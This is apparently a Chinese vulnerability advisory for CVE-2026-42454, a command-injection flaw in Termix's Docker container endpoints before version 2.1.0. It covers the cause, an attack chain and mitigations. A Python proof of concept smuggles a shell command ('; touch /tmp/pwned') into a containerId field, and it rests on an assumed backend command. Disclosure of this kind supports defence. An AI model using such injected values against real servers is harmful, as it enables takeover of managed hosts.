IPBUF安全漏洞报告
English
CVE-2026-42454 CVSS 9.9 严重

CVE-2026-42454 Termix远程代码执行漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-42454
漏洞类型
远程代码执行
CVSS评分
9.9 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Termix

相关标签

RCE命令注入TermixCVE-2026-42454

漏洞概述

Termix是一个基于Web的服务器管理平台,提供SSH终端、隧道和文件编辑功能。在版本2.1.0之前,该平台在处理Docker容器管理端点时存在严重安全缺陷。系统未对URL路径参数containerId及WebSocket消息字段进行任何清理或验证,直接将其拼接到通过ssh2.Client.exec()执行的Shell命令中。这导致经过身份认证的攻击者能够通过构造恶意的容器ID注入任意操作系统命令,从而在受管服务器上实现远程代码执行。该漏洞已在2.1.0版本中被修复。

技术细节

该漏洞的核心原理是命令注入。Termix在处理容器管理请求时,直接将用户输入的`containerId`参数拼接到系统命令字符串中,并利用`ssh2.Client.exec()`接口在远程服务器上执行。由于缺乏输入过滤,攻击者可以在容器ID中插入Shell元字符(如分号、反引号等)来截断原命令并追加执行任意恶意指令。攻击链首先需要攻击者拥有Termix平台的合法账户(低权限即可),随后向特定的API端点发送包含恶意payload的请求。一旦服务器端处理该请求,远程服务器便会执行注入的命令,导致服务器被完全控制。

攻击链分析

STEP 1
1. 初始访问
攻击者获取Termix平台的低权限账户凭证。
STEP 2
2. 漏洞利用
攻击者构造包含Shell元字符的恶意containerId参数,发送至Docker容器管理端点。
STEP 3
3. 命令注入
服务器端将恶意参数拼接到命令中,通过SSH在远程服务器执行注入的OS命令。
STEP 4
4. 执行与控制
恶意命令在受管服务器上运行,攻击者获得远程代码执行权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # PoC for CVE-2026-42454 Termix RCE # This script simulates sending a malicious containerId to inject commands. target_url = "http://target-termix-server/api/containers/stop" session_cookie = "valid_attacker_session_token" # The payload attempts to create a file as a proof of concept. # It assumes the backend command looks like: docker stop <containerId> # We append `; touch /tmp/pwned` to execute an extra command. malicious_id = "dummy; touch /tmp/pwned" headers = { "Cookie": f"session={session_cookie}" } data = { "containerId": malicious_id } try: response = requests.post(target_url, headers=headers, json=data) if response.status_code == 200: print("[+] Payload sent successfully. Check /tmp/pwned on the remote server.") else: print(f"[-] Request failed: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

影响范围

Termix < 2.1.0

防御指南

临时缓解措施
建议立即限制Termix平台的网络访问权限,仅允许可信的内网IP访问,并临时禁用Docker容器管理功能,直至完成版本升级。

参考链接